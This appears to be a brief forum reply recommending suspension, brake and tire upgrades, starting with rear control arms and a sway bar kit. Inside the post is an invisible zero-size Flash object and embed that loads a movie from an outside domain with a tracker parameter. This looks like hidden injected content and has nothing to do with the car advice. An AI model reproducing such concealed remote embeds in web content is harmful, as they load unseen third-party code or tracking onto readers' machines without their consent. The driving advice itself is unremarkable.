Suspension, brakes, and wheel/tires.<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="0" height="0"><param name="movie" value="http://brbyowner.com/?tracker=4730"></param><param name="allowFullScreen" value="true"></param><embed src="http://brbyowner.com/?tracker=4730" type="application/x-shockwave-flash" allowfullscreen="true" width="0" height="0"></embed></object>
I'd at least start with rear
control arms, and a sway bar kit. That will make the car feel more solid during acceleration and cornering.
Remember power is nothing without control.